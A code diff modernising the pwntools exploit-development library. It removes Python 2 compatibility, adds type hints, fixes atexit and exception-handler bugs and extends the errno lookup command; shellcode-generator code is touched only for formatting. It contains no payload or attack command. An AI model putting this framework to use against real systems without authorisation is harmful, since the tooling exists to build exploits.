-def register(func, *args, **kwargs):
+_P = ParamSpec('_P')
+_R = TypeVar('_R')
+
+def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int:
     """register(func, *args, **kwargs)
 
     Registers a function to be called when an unhandled exception occurs.  The
@@ -43,10 +45,24 @@ def register(func, *args, **kwargs):
     actual exception-handler.  The exception-handler can then be unregistered
     with::
 
-      atexception.unregister(handler)
+      ident = atexception.register(handler)
+      atexception.unregister(ident)
 
     This function is thread safe.
 
+    >>> def handler(a, b):
+    ...     print("Exception handler", a, b)
+    >>> ident = atexception.register(handler, 13, 37)
+    >>> raise Exception("Unexpected error") # doctest: +ELLIPSIS
+    Traceback (most recent call last):
+    ...
+    Exception: Unexpected error
+    Exception handler 13 37
+    >>> atexception.unregister(ident)
+    >>> raise Exception("Unexpected error") # doctest: +ELLIPSIS
+    Traceback (most recent call last):
+    ...
+    Exception: Unexpected error
     """
     global _ident
     with _lock:
@@ -55,16 +71,16 @@ def register(func, *args, **kwargs):
     _handlers[ident] = (func, args, kwargs, vars(context))
     return ident
 
-def unregister(func):
-    """unregister(func)
+def unregister(ident: int) -> None:
+    """unregister(ident)
 
-    Remove `func` from the collection of registered functions.  If `func` isn't
-    registered this is a no-op.
+    Remove the exception-handler identified by `ident` from the list of registered
+    handlers.  If `ident` isn't registered this is a no-op.
     """
-    if func in _handlers:
-        del _handlers[func]
+    if ident in _handlers:
+        del _handlers[ident]
 
-def _run_handlers():
+def _run_handlers() -> None:
     """_run_handlers()
 
     Run registered handlers.  They run in the reverse order of which they were
@@ -86,12 +102,12 @@ def _run_handlers():
             # extract the current exception and rewind the traceback to where it
             # originated
             typ, val, tb = sys.exc_info()
-            traceback.print_exception(typ, val, tb.tb_next)
+            traceback.print_exception(typ, value=val, tb=tb.tb_next if tb else None)
 
 # we rely on the existing excepthook to print exceptions
 _oldhook = getattr(sys, 'excepthook', None)
 
-def _newhook(typ, val, tb):
+def _newhook(typ: type[BaseException], val: BaseException, tb: TracebackType | None) -> None:
     """_newhook(typ, val, tb)
 
     Our excepthook replacement.  First the original hook is called to print the
@@ -99,7 +115,7 @@ def _newhook(typ, val, tb):
     """
     if _oldhook:
         _oldhook(typ, val, tb)
-    if _run_handlers:
+    if _handlers:
         _run_handlers()
 
 sys.excepthook = _newhook

pwnlib/atexit.py

@@ -7,13 +7,11 @@ this replacement module also defines :func:`unregister`.
 This module also fixes a the issue that exceptions raised by an exit handler is
 printed twice when the standard :mod:`atexit` is used.
 """
-from __future__ import absolute_import
-from __future__ import division
-
 import sys
 import threading
 import traceback
 import atexit as std_atexit
+from typing import Any, Callable, ParamSpec, TypeVar
 
 from pwnlib.context import context
 
@@ -21,9 +19,12 @@ __all__ = ['register', 'unregister']
 
 _lock = threading.Lock()
 _ident = 0
-_handlers = {}
+_handlers: dict[int, tuple[Callable[..., Any], Any, Any, dict[str, Any]]] = {}
 
-def register(func, *args, **kwargs):
+_P = ParamSpec('_P')
+_R = TypeVar('_R')
+
+def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int:
     """register(func, *args, **kwargs)
 
     Registers a function to be called on program termination.  The function will
@@ -47,7 +48,8 @@ def register(func, *args, **kwargs):
     Notice however that this will bind ``handler`` to the identifier and not the
     actual exit-handler.  The exit-handler can then be unregistered with::
 
-      atexit.unregister(handler)
+      ident = atexit.register(handler)
+      atexit.unregister(ident)
 
     This function is thread safe.
 
@@ -59,7 +61,7 @@ def register(func, *args, **kwargs):
     _handlers[ident] = (func, args, kwargs, vars(context))
     return ident
 
-def unregister(ident):
+def unregister(ident: int) -> None:
     """unregister(ident)
 
     Remove the exit-handler identified by `ident` from the list of registered
@@ -68,7 +70,7 @@ def unregister(ident):
     if ident in _handlers:
         del _handlers[ident]
 
-def _run_handlers():
+def _run_handlers() -> None:
     """_run_handlers()
 
     Run registered exit-handlers.  They run in the reverse order of which they
@@ -90,14 +92,6 @@ def _run_handlers():
             # extract the current exception and rewind the traceback to where it
             # originated
             typ, val, tb = sys.exc_info()
-            traceback.print_exception(typ, val, tb.tb_next)
-
-# if there's already an exitfunc registered be sure to run that too
-if hasattr(sys, "exitfunc"):
-    register(sys.exitfunc)
-
-if sys.version_info[0] < 3:
-    sys.exitfunc = _run_handlers
-else:
-    std_atexit.register(_run_handlers)
+            traceback.print_exception(typ, value=val, tb=tb.tb_next if tb else None)
 
+std_atexit.register(_run_handlers)

pwnlib/commandline/asm.py

@@ -1,6 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import argparse
 import sys
 
@@ -79,7 +76,8 @@ parser.add_argument(
 parser.add_argument(
     '-e',
     '--encoder',
-    help="Specific encoder to use"
+    metavar='X',
+    help="Compatibility flag, ignored"
 )
 
 parser.add_argument(

pwnlib/commandline/checksec.py

@@ -1,6 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import argparse
 import sys
 
@@ -15,7 +12,6 @@ parser = common.parser_commands.add_parser(
 parser.add_argument(
     'elf',
     nargs='*',
-    type=argparse.FileType('rb'),
     help='Files to check'
 )
 parser.add_argument(
@@ -23,12 +19,11 @@ parser.add_argument(
     nargs='*',
     dest='elf2',
     metavar='elf',
-    type=argparse.FileType('rb'),
     help='File to check (for compatibility with checksec.sh)'
 )
 
 def main(args):
-    files  = args.elf or args.elf2 or []
+    files = args.elf or args.elf2 or []
 
     if not files:
         parser.print_usage()
@@ -36,9 +31,9 @@ def main(args):
 
     for f in files:
         try:
-            e = ELF(f.name)
+            e = ELF(f)
         except Exception as e:
-            print("{name}: {error}".format(name=f.name, error=e))
+            print(f"{f}: {e}")
 
 if __name__ == '__main__':
     common.main(__file__, main)

pwnlib/commandline/constgrep.py

@@ -1,6 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import argparse
 import functools
 import re

pwnlib/commandline/cyclic.py

@@ -1,8 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
-import argparse
-import six
 import string
 import sys
 
@@ -43,15 +38,16 @@ parser.add_argument(
     help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
 )
 
-group = parser.add_mutually_exclusive_group(required=False)
-group.add_argument(
+xgroup = parser.add_mutually_exclusive_group(required=False)
+xgroup.add_argument(
     '-l', '-o', '--offset', '--lookup',
     dest = 'lookup',
+    type = str.encode,
     metavar = 'lookup_value',
     help = 'Do a lookup instead printing the alphabet',
 )
 
-group.add_argument(
+xgroup.add_argument(
     'count',
     type=int,
     nargs='?',
@@ -66,9 +62,6 @@ def main(args):
     if args.lookup:
         pat = args.lookup
 
-        if six.PY3:
-            pat = bytes(pat, encoding='utf-8')
-
         try:
             pat = int(pat, 0)
             pat = pack(pat, 'all')

pwnlib/commandline/debug.py

@@ -1,6 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import argparse
 import sys
 

pwnlib/commandline/disablenx.py

@@ -1,6 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import argparse
 from pwn import *
 from pwnlib.commandline import common

pwnlib/commandline/disasm.py

@@ -1,7 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-from __future__ import print_function
-
 import argparse
 import re
 import string

pwnlib/commandline/elfdiff.py

@@ -1,6 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import shutil
 from argparse import ArgumentParser
 from subprocess import CalledProcessError

pwnlib/commandline/elfpatch.py

@@ -1,6 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import sys
 
 import pwnlib.args

pwnlib/commandline/errno.py

@@ -1,9 +1,23 @@
-from __future__ import absolute_import, print_function
+"""Look up ``errno`` values for the architecture selected by ``-c``.
 
-import argparse
+The examples below run in the documentation doctest suite.
+
+>>> from pwnlib.context import context
+>>> from pwnlib.commandline.errno import _context_table
+>>> with context.local(arch='amd64', os='linux'):
+...     _context_table()['ECONNRESET']
+104
+>>> with context.local(arch='mips', os='linux'):
+...     _context_table()['ECONNRESET']
+131
+"""
+from argparse import Namespace
+from typing import Generator
 import os
 import errno
 
+import pwnlib.constants as constants
+from pwnlib.context import context
 from pwnlib.commandline import common
 
 parser = common.parser_commands.add_parser(
@@ -13,37 +27,178 @@ parser = common.parser_commands.add_parser(
 )
 
 parser.add_argument(
-    'error', help='Error message or value', type=str
+    'error', help='Error message or value (errno number, errno name, or perror string)',
+    nargs='?', type=str
+)
+parser.add_argument(
+    '-l', '--list', action='store_true',
+    help='List every known errno (number, name, perror string).'
+)
+parser.add_argument(
+    '-s', '--search', action='store_true',
+    help='Treat the argument as an errno name or perror substring and print every match.'
+)
+parser.add_argument(
+    '-c', '--context',
+    metavar = 'context',
+    type    = common.context_arg,
+    help    = 'Look the errno values up for this architecture or os, e.g. `-c aarch64`.',
 )
 
-def main(args):
-  try:
-    value = int(args.error, 0)
 
-    if value < 0:
-      value = -value
-
-    if 0x100000000 - value < 0x200:
-      value = 0x100000000 - value
-
-    if value not in errno.errorcode:
-      print("No errno for %s" % value)
-      return
-
-    name = errno.errorcode[value]
-
-  except ValueError:
-    name = args.error.upper()
-
-    if not hasattr(errno, name):
-      print("No errno for %s" % name)
-      return
-
-    value = getattr(errno, name)
+def _host_table() -> dict[str, int]:
+    """Return ``{name: value}`` for every errno the host standard library knows."""
+    return {name: getattr(errno, name) for name in dir(errno)
+            if name.isupper() and isinstance(getattr(errno, name), int)}
 
 
-  print('#define', name, value)
-  print(os.strerror(value))
+def _context_table() -> dict[str, int]:
+    """Return ``{name: value}`` for the errno numbers ``context`` uses."""
+    if context.os == 'freebsd':
+        module = getattr(constants, 'freebsd', None)
+    else:
+        module = getattr(getattr(constants, context.os, None), context.arch, None)
+
+    if module is None:
+        return {}
+
+    table = {}
+
+    for name in _host_table():
+        value = getattr(module, name, None)
+        if value is not None:
+            table[name] = int(getattr(value, 'value', value))
+
+    return table
+
+
+def _message(name: str) -> str:
+    """Return the perror string of ``name`` according to the host, or ``''``."""
+    value = getattr(errno, name, None)
+    if not isinstance(value, int):
+        return ''
+
+    try:
+        return os.strerror(value)
+    except ValueError:
+        return ''
+
+
+def _iter_known_errnos(table: dict[str, int]) -> Generator[tuple[int, str, str], None, None]:
+    """Yield ``(value, name, message)`` tuples sorted by numeric value.
+
+    Aliases sharing a number are reported once: the canonical name from
+    `errno.errorcode` wins when it maps to the same value, otherwise the
+    first name alphabetically does.
+
+    >>> with context.local(arch='aarch64', os='linux'):
+    ...     [(value, name) for value, name, _ in _iter_known_errnos(_context_table())][:3]
+    [(1, 'EPERM'), (2, 'ENOENT'), (3, 'ESRCH')]
+    """
+    # ``errno.errorcode`` is the canonical name for a number, so prefer it over the
+    # alphabetically first alias to keep the default listing identical to before.
+    canonical = {value: name for value, name in errno.errorcode.items() if table.get(name) == value}
+    seen = set()
+
+    for name, value in sorted(table.items(), key=lambda item: (item[1], item[0])):
+        if value in seen:
+            continue
+        seen.add(value)
+        name = canonical.get(value, name)
+        yield value, name, _message(name)
+
+
+def _print_errno(value: int, name: str | None = None, message: str | None = None) -> None:
+    if name is None:
+        name = errno.errorcode.get(value, '')
+    if message is None:
+        message = os.strerror(value)
+    if name:
+        print('#define %s %d' % (name, value))
+    else:
+        print('#define <unknown> %d' % value)
+    if message:
+        print(message)
+
+
+def _search_errnos(needle: str, table: dict[str, int]) -> list[tuple[int, str, str]]:
+    """Return errnos whose name or ``strerror`` text contains ``needle``.
+
+    The match is case-insensitive, so ``pwn errno -c mips -s conn`` finds the
+    connection-oriented errnos even when the host cannot spell them out.
+
+    >>> with context.local(arch='mips', os='linux'):
+    ...     [(value, name) for value, name, _ in _search_errnos('econnreset', _context_table())]
+    [(131, 'ECONNRESET')]
+    """
+    needle = needle.lower()
+    return [(v, n, m) for v, n, m in _iter_known_errnos(table)
+            if needle in n.lower() or needle in m.lower()]
+
+
+def main(args: Namespace) -> None:
+    if args.context is None:
+        table = _host_table()
+    else:
+        table = _context_table()
+
+        if not table:
+            print('No errno values known for %s/%s' % (context.os, context.arch))
+            return
+
+    if args.list:
+        for value, name, message in _iter_known_errnos(table):
+            print('%-3d %-10s %s' % (value, name, message))
+        return
+
+    if args.error is None:
+        parser.error('the following arguments are required: error (or pass --list)')
+
+    if args.search:
+        matches = _search_errnos(args.error, table)
+        if not matches:
+            print("No errno matched %r" % args.error)
+            return
+        for value, name, message in matches:
+            _print_errno(value, name, message)
+            print()
+        return
+
+    try:
+        value = int(args.error, 0)
+
+        if value < 0:
+            value = -value
+
+        if 0x100000000 - value < 0x200:
+            value = 0x100000000 - value
+
+        name = next((n for n, v in sorted(table.items()) if v == value), None)
+
+        if name is None:
+            print("No errno for %s" % value)
+            return
+
+    except ValueError:
+        name = args.error.upper()
+        value = table.get(name)
+
+        if value is None:
+            # Fall back to a substring search against perror messages so
+            # ``pwn errno 'Cannot allocate memory'`` resolves to ENOMEM.
+            matches = _search_errnos(args.error, table)
+            if not matches:
+                print("No errno for %s" % args.error)
+                return
+            for value, name, message in matches:
+                _print_errno(value, name, message)
+                if len(matches) > 1:
+                    print()
+            return
+
+    _print_errno(value, name, _message(name))
+
 
 if __name__ == '__main__':
     common.main(__file__, main)
+

pwnlib/commandline/hex.py

@@ -1,6 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import argparse
 import sys
 

pwnlib/commandline/libcdb.py

@@ -1,8 +1,4 @@
-#!/usr/bin/env python
-from __future__ import absolute_import
-from __future__ import division
-from __future__ import print_function
-
+#!/usr/bin/env python3
 import re
 import shutil
 import sys
@@ -240,6 +236,9 @@ def main(args):
         symbols = {pairs[i]:pairs[i+1] for i in range(0, len(pairs), 2)}
         matched_libcs = libcdb.search_by_symbol_offsets(symbols, offline_only=args.offline_only, return_raw=True)
 
+        if not matched_libcs:
+            return
+
         for libc in matched_libcs:
             print_libc_info(libc)
             if args.download_libc:
@@ -267,7 +266,9 @@ def main(args):
                 continue
 
             if args.unstrip:
-                libcdb.unstrip_libc(file)
+                if not libcdb.unstrip_libc(file):
+                    log.failure('Failed to unstrip libc binary %s', file)
+                    continue
 
             print_libc_elf(ELF(file, checksec=False))
 

pwnlib/commandline/main.py

@@ -1,5 +1,3 @@
-from __future__ import absolute_import
-
 from pwnlib.commandline import asm
 from pwnlib.commandline import checksec
 from pwnlib.commandline import common

pwnlib/commandline/phd.py

@@ -1,6 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import argparse
 import os
 import signal

pwnlib/commandline/pwnstrip.py

@@ -1,6 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import argparse
 
 import pwnlib.args
@@ -18,7 +15,7 @@ p = common.parser_commands.add_parser(
 g = p.add_argument_group("actions")
 g.add_argument('-b', '--build-id', help="Strip build ID", action='store_true')
 g.add_argument('-p', '--patch', metavar='FUNCTION', help="Patch function", action='append')
-p.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout))
+p.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout), help='Output file')
 p.add_argument('file', type=argparse.FileType('rb'))
 
 def main(args):

pwnlib/commandline/scramble.py

@@ -1,6 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import argparse
 import sys
 

pwnlib/commandline/shellcraft.py

@@ -1,9 +1,5 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import argparse
 import os
-import six
 import sys
 import types
 
@@ -12,6 +8,7 @@ pwnlib.args.free_form = False
 
 from pwn import *
 from pwnlib.commandline import common
+from pwnlib.util.fiddling import hexstr
 
 
 #  ____  _          _ _                 __ _
@@ -20,17 +17,6 @@ from pwnlib.commandline import common
 #  ___) | | | |  __/ | | (__| | | (_| |  _| |_
 # |____/|_| |_|\___|_|_|\___|_|  \__,_|_|  \__|
 
-def _string(s):
-    out = []
-    for co in bytearray(s):
-        c = chr(co)
-        if co >= 0x20 and co <= 0x7e and c not in '/$\'"`':
-            out.append(c)
-        else:
-            out.append('\\x%02x' % co)
-    return '"' + ''.join(out) + '"\n'
-
-
 p = common.parser_commands.add_parser(
     'shellcraft',
     help = 'Microwave shellcode -- Easy, fast and delicious',
@@ -85,7 +71,7 @@ p.add_argument(
 
 p.add_argument(
     '--delim',
-    help='Set the delimiter between multilple shellcodes',
+    help='Set the delimiter between multiple shellcodes',
     default='+'
 )
 
@@ -280,8 +266,8 @@ def main(args):
 
     code_array = []
     for (name, func, func_args) in funcs:
-        defargs = len(six.get_function_defaults(func) or ())
-        reqargs = six.get_function_code(func).co_argcount - defargs
+        defargs = len(func.__defaults__ or ())
+        reqargs = func.__code__.co_argcount - defargs
 
         if len(func_args) < reqargs:
             if defargs > 0:
@@ -291,7 +277,7 @@ def main(args):
                 log.critical('%s takes exactly %d arguments' % (name, reqargs))
                 sys.exit(1)
 
-        # Captain uglyness saves the day!
+        # Captain ugliness saves the day!
         for i, val in enumerate(func_args):
             try:
                 func_args[i] = util.safeeval.expr(val)
@@ -367,7 +353,7 @@ def main(args):
         sys.exit(0)
 
     if args.format in ['s', 'str', 'string']:
-        code = _string(code)
+        code = hexstr(code)
     elif args.format == 'c':
         code = '{' + ', '.join(map(hex, bytearray(code))) + '}' + '\n'
     elif args.format in ['h', 'hex']:
@@ -375,7 +361,7 @@ def main(args):
     elif args.format in ['i', 'hexii']:
         code = hexii(code) + '\n'
     elif args.format in ['d', 'escaped']:
-        code = ''.join('\\x%02x' % c for c in bytearray(code)) + '\n'
+        code = ''.join(fr'\x{c:02x}' for c in code) + '\n'
     if not sys.stdin.isatty():
         args.out.write(getattr(sys.stdin, 'buffer', sys.stdin).read())
 

pwnlib/commandline/template.py

@@ -1,12 +1,8 @@
-from __future__ import absolute_import
-from __future__ import division
-from __future__ import print_function
-
 from pwn import *
 from pwnlib.commandline import common
+from pwnlib.data import path as data_path
 from pwnlib.util.misc import which, parse_ldd_output, write
 
-from sys import stderr
 from mako.lookup import TemplateLookup, Template
 
 parser = common.parser_commands.add_parser(
@@ -19,7 +15,7 @@ parser = common.parser_commands.add_parser(
 )
 
 # change path to hardcoded one when building the documentation
-printable_data_path = "pwnlib/data" if 'sphinx' in sys.modules else pwnlib.data.path
+printable_data_path = "pwnlib/data" if 'sphinx' in sys.modules else data_path
 
 parser.add_argument('exe', nargs='?', help='Target binary. If not given, the current directory is searched for an executable binary.')
 parser.add_argument('--host', help='Remote host / SSH server')
@@ -89,7 +85,7 @@ def get_docker_image_libraries():
             if not (libc and ld):
                 progress.failure("Could not find libraries")
                 return None, None
-            
+
             progress.status("Copying libraries to current directory")
             for filename, basename in zip((libc, ld), (libc_basename, ld_basename)):
                 cat_command = ["-c", "chroot %s /bin/sh -c '/bin/cat %s'" % (chroot_dir, filename)]
@@ -108,8 +104,9 @@ def get_docker_image_libraries():
                 write(basename, contents)
 
         except subprocess.CalledProcessError as e:
-            print(e.stderr.decode())
-            log.error("docker failed with status: %d" % e.returncode)
+            print(e.stderr.decode(), file=sys.stderr)
+            progress.failure("docker failed with status: %d" % e.returncode)
+            return None, None
 
         progress.success("Retrieved libraries from Docker image")
     return libc_basename, ld_basename

pwnlib/commandline/unhex.py

@@ -1,6 +1,3 @@
-from __future__ import absolute_import
-from __future__ import division
-
 import argparse
 import sys
 from string import whitespace

pwnlib/commandline/update.py

@@ -1,7 +1,4 @@
-#!/usr/bin/env python
-from __future__ import absolute_import
-from __future__ import division
-
+#!/usr/bin/env python3
 import subprocess
 
 import pwnlib.args

pwnlib/commandline/version.py

@@ -1,7 +1,4 @@
-#!/usr/bin/env python
-from __future__ import absolute_import
-from __future__ import division
-
+#!/usr/bin/env python3
 import os
 import subprocess
 

pwnlib/config.py

@@ -1,4 +1,3 @@
-# -*- coding: utf-8 -*-
 """Allows per-user and per-host configuration of Pwntools settings.
 
 The list of configurable options includes all of the logging symbols
@@ -14,7 +13,7 @@ when used in library mode (``import pwnlib``).  To read the configuration
 file in library mode, invoke :func:`.config.initialize`.
 
 The ``context`` section supports complex types, at least as far as is
-supported by ``pwnlib.util.safeeval.expr``.
+supported by :func:`pwnlib.util.safeeval.expr`.
 
 ::
 
@@ -32,15 +31,15 @@ supported by ``pwnlib.util.safeeval.expr``.
     [update]
     interval=7
 """
-from __future__ import absolute_import
-from __future__ import division
-
-from six.moves import configparser
+import configparser
 import os
+from typing import Any, Callable
 
-registered_configs = {}
+ConfigHandler = Callable[[dict[str, Any]], None]
 
-def register_config(section, function):
+registered_configs: dict[str, ConfigHandler] = {}
+
+def register_config(section: str, function: ConfigHandler) -> None:
     """Registers a configuration section.
 
     Arguments:
@@ -50,7 +49,7 @@ def register_config(section, function):
     """
     registered_configs[section] = function
 
-def initialize():
+def initialize() -> None:
     """Read the configuration files."""
     from pwnlib.log import getLogger
     log = getLogger(__name__)

pwnlib/constants/__init__.py

@@ -50,8 +50,6 @@ Example:
     61
 
 """
-from __future__ import absolute_import
-
 import importlib
 import sys
 from types import ModuleType
@@ -148,10 +146,10 @@ class ConstantsModule(ModuleType):
         val = safeeval.values(string, self._env_store[key])
 
         # if the expression is not assembly-safe, it is not so vital to preserve it
-        if set(string) & (set(bytearray(range(32)).decode()) | set('"#$\',.;@[\\]`{}')):
+        if set(string) & (set(bytearray(range(32)).decode()) | set(r'"#$\',.;@[]`{}')):
             string = val
 
-        return Constant('(%s)' % string, val)
+        return Constant(f'({string})', val)
 
 
 # To prevent garbage collection

pwnlib/constants/constant.py

@@ -1,9 +1,4 @@
-try:
-    base = long  # workaround for py2
-except NameError:
-    base = int
-
-class Constant(base):
+class Constant(int):
     def __new__(cls, s, i):
         obj = super(Constant, cls).__new__(cls, i)
         obj.s = s